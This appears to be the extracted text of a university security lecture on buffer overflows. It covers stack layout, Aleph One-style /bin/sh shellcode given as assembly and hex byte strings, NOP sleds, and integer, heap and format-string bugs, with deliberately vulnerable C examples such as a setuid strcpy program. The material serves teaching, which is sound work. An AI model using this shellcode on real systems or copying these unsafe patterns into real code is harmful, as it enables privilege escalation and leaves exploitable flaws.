Buffer overflows & friends

CS642: Computer Security

Professor Ristenpart

http://www.cs.wisc.edu/~rist/

rist at cs dot wisc dot edu
Malware Distributed Through Twitch Chat Is Hijacking Steam Accounts

samzenpus posted 10 hours ago | from the protect-ya-neck dept.

An anonymous reader writes

If you use Twitch don't click on any suspicious links in the video streaming platform's chat feature. Twitch Support's official Twitter account issued a security warning telling users not to click the "csgoprize" link in chat. According to f-secure, the link leads to a Java program that asks for your name and email. If you provide the info it will install a file on your computer that's able to take out any money you have in your Steam wallet, as well as sell or trade items in your inventory. "This malware, which we call Eskimo, is able to wipe your Steam wallet, armory, and inventory dry," says F-Secure. "It even dumps your items for a discount in the Steam Community Market. Previous variants were selling items with a 12 percent discount, but a recent sample showed that they changed it to 35 percent discount. Perhaps to be able to sell the items faster."
Announcements

• Project proposals:
  – Due Oct 1
    • Short pitch (just a few paragraphs)
  – Can work in teams if desired
  – Deliverables:
    • Few page writeup (can have more, but I may not read it)
    • Short presentation to class

• Homework 1 will be assigned in next few days, you’ll have ~2.5 weeks to complete it
Low-level software security starts with buffer overflows (Gray Hat Hacking chapter 7)

- C code, process layout, assembly recall
- Buffer overflows on stack
- Constructing an exploit buffer
- Setting up exploit code

...
Running demo example
(from Gray hat hacking w/ modifications)

```c
#include <stdio.h>
#include <string.h>

greeting( char* temp1, char* temp2 )
{
    char name[400];
    memset(name, 0, 400);
    strcpy(name, temp2);
    printf( "Hi %s %s\n", temp1, name );
}

int main(int argc, char* argv[] )
{
    greeting( argv[1], argv[2] );
    printf( "Bye %s %s\n", argv[1], argv[2] );
}
```
Say this file, meet.c, is compiled setuid

Recall: setuid means it will run as root
```c
#include <stdio.h>
#include <string.h>

void greeting(char* temp1, char* temp2)
{
    char name[400];
    memset(name, 0, 400);
    strcpy(name, temp2);
    printf("Hi %s %s\n", temp1, name);
}

int main(int argc, char* argv[]) {
    greeting(argv[1], argv[2]);
    printf("Bye %s %s\n", argv[1], argv[2]);
}
```
Privilege escalation obtained!
Now we’ll see what happened
Process memory layout

- **.text**: machine code of executable
- **.data**: global initialized variables
- **.bss**: "below stack section" global uninitialized variables
- **heap**: dynamic variables
- **stack**: local variables, track func calls
- **Env**: environment variables, arguments to program

Low memory addresses

High memory addresses

Unused space
The stack

- Low memory addresses
  - stack pointer (ESP)
- High memory addresses
  - stack base pointer (EBP)

- local var1
- EBP
- EIP
- Param1
- Param2
- caller local vars
```c
#include <stdio.h>

char name[400];

int main(int argc, char* argv[]) {
    int p1;
    greeting(p1);
}
```
greeting( int v1 ) {
    char name[400];
}

int main(int argc, char* argv[]) {
    int p1;
    greeting( p1 );
}
Smashing the stack

If temp2 has more than 400 bytes...

```c
void greeting( char* temp1, char* temp2 )
{
    char name[400];
    memset(name, 0, 400);
    strcpy(name, temp2);
    printf( "Hi %s %s\n", temp1, name );
}
```
```c
#include <stdio.h>
#include <string.h>

#define MAX_NAME_LENGTH 400

greeting( char* temp1, char* temp2 )
{
    char name[MAX_NAME_LENGTH];
    memset(name, 0, MAX_NAME_LENGTH);
    strcpy(name, temp2);
    printf( "Hi %s %s\n", temp1, name );
}

int main(int argc, char* argv[])
{
    greeting( argv[1], argv[2] );
    printf( "Bye %s %s\n", argv[1], argv[2] );
}
```
Smashing the stack

Munging EBP
• When `greeting()` returns, stack corrupted because stack frame pointed to wrong address

Munging EIP
• When `greeting()` returns, will jump to address pointed to by the EIP value “saved” on stack
Smashing the stack

- Useful for denial of service (DoS)
- Better yet: control flow hijacking

When `greeting()` returns, jumps to address pointed to by `ptr`

Have it point back into buffer, system tries to execute `buf` as machine code

Low memory addresses

<table>
<thead>
<tr>
<th>name</th>
<th>EBP</th>
<th>EIP</th>
<th>temp1</th>
<th>temp2</th>
<th>caller local vars</th>
</tr>
</thead>
</table>

High memory addresses
Building an exploit sandwich

• Ingredients:
  – executable machine code
  – pointer to machine code
Building shell code

```c
#include <stdio.h>

void main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
    exit(0);
}
```

Shell code from AlephOne

```
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1,%eax
movl $0x0,%ebx
int $0x80
/bin/sh string goes here.
```

Problem: we don’t know where we are in memory
Building shell code

jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi) # 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset,(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
empty bytes # 4 bytes
Building shell code

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\xbb\x00\x00\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

Another issue:
strcpy stops when it hits a NULL byte

Solution:
Alternative machine code that avoids NULLs
Building shell code

char shellcode[] = 
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"

Another issue:
strcpy stops when it hits a NULL byte

Solution:
Alternative machine code that avoids NULLs

Mason et al., “English Shellcode”
www.cs.jhu.edu/~sam/ccs243-mason.pdf
This is a crude way of getting stack pointer.

How do we know what to set ptr to?
We can use a nop sled to make the arithmetic easier

Instruction “xchg %eax,%eax” which has opcode \x90

Land anywhere in NOPs, and we are good to go
We can use a nop sled to make the arithmetic easier

Instruction “xchg %eax,%eax” which has opcode \x90

Land anywhere in NOPs, and we are good to go

Can also add lots of copies of ptr at end
```c
#include <stdio.h>
#include <string.h>

void greeting(char* temp1, char* temp2)
{
    char name[400];
    memset(name, 0, 400);
    strcpy(name, temp2);
    printf( "Hi %s %s\n", temp1, name );
}

int main(int argc, char* argv[])
{
    greeting( argv[1], argv[2] );
    printf( "Bye %s %s\n", argv[1], argv[2] );
}
```
Bad C library functions

• strcpy
• strcat
• scanf
• gets

• “More” safe versions: strncpy, strncat, etc.
  – These are not foolproof either!
Small buffers

What if 400 is changed to a small value, say 10?

```c
#include <stdio.h>
#include <string.h>

int greeting( char* temp1, char* temp2 ) {
    char name[400];
    memset(name, 0, 400);
    strcpy(name, temp2);
    printf( "Hi %s %s\n", temp1, name );
}
```

NOPs  jmp  more code  call popl  \"/bin/sh\"  address of \"/bin/sh\"  ptr  ptr  ptr
Small buffers

Use an environment variable to store exploit buffer

```c
execve("meet", argv, envp)
envp = array of pointers to strings (just like argv)
```

-> Normally, bash passes in this array from your shell’s environment

-> you can also pass it in explicitly via `execve()`
Small buffers

Return address overwritten with ptr to environment variable
There are other ways to inject code

- examples: .dtors (Gray Hat book), function pointers, ...
- dig around in Phrack articles ...
Integer overflows

```c
void func(int a, char v)
    char buf[128];
    init(buf);
    buf[a] = v;
}

&buf[a] could be return address
# include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]){
    unsigned short s;
    int i;
    char buf[80];

    if(argc < 3){
        return -1;
    }

    i = atoi(argv[1]);
    s = i;

    if(s >= 80) {
        /* [w1] */
        printf("Oh no you don't!\n");
        return -1;
    }

    printf("s = %d\n", s);

    memcpy(buf, argv[2], i);
    buf[i] = '\0';
    printf("%s\n", buf);

    return 0;
}
Heap overflows

Low memory addresses

High memory addresses

.att.text .data .bss heap stack Env.

attacker buffer attacker ptr
Format-string vulnerabilities

```c
void main(int argc, char* argv[]) {
  printf(argc[1]);
}
```

Attacker controls format string gives all sorts of control
Can do control hijacking directly
Since nearly all critical vulnerabilities in the past were some kind of buffer overflow, one could compare such a serious and low level vulnerability to this new type of vulnerabilities.

<table>
<thead>
<tr>
<th></th>
<th>Buffer Overflow</th>
<th>Format String</th>
</tr>
</thead>
<tbody>
<tr>
<td>public since danger realized number of exploits considered as techniques visibility</td>
<td>mid 1980’s 1990’s a few thousand security threat evolved and advanced sometimes very difficult to spot</td>
<td>June 1999 June 2000 a few dozen programming bug basic techniques easy to find</td>
</tr>
</tbody>
</table>

From “Exploiting format string vulnerabilities”
Summary

• Classic buffer overflow
  – corrupt program control data
  – hijack control flow easily

• Integer overflow, signedness, format string, heap overflow, ...

• These were all local privilege escalation vulns
  – Similar concepts for remote vulnerabilities

• Defenses?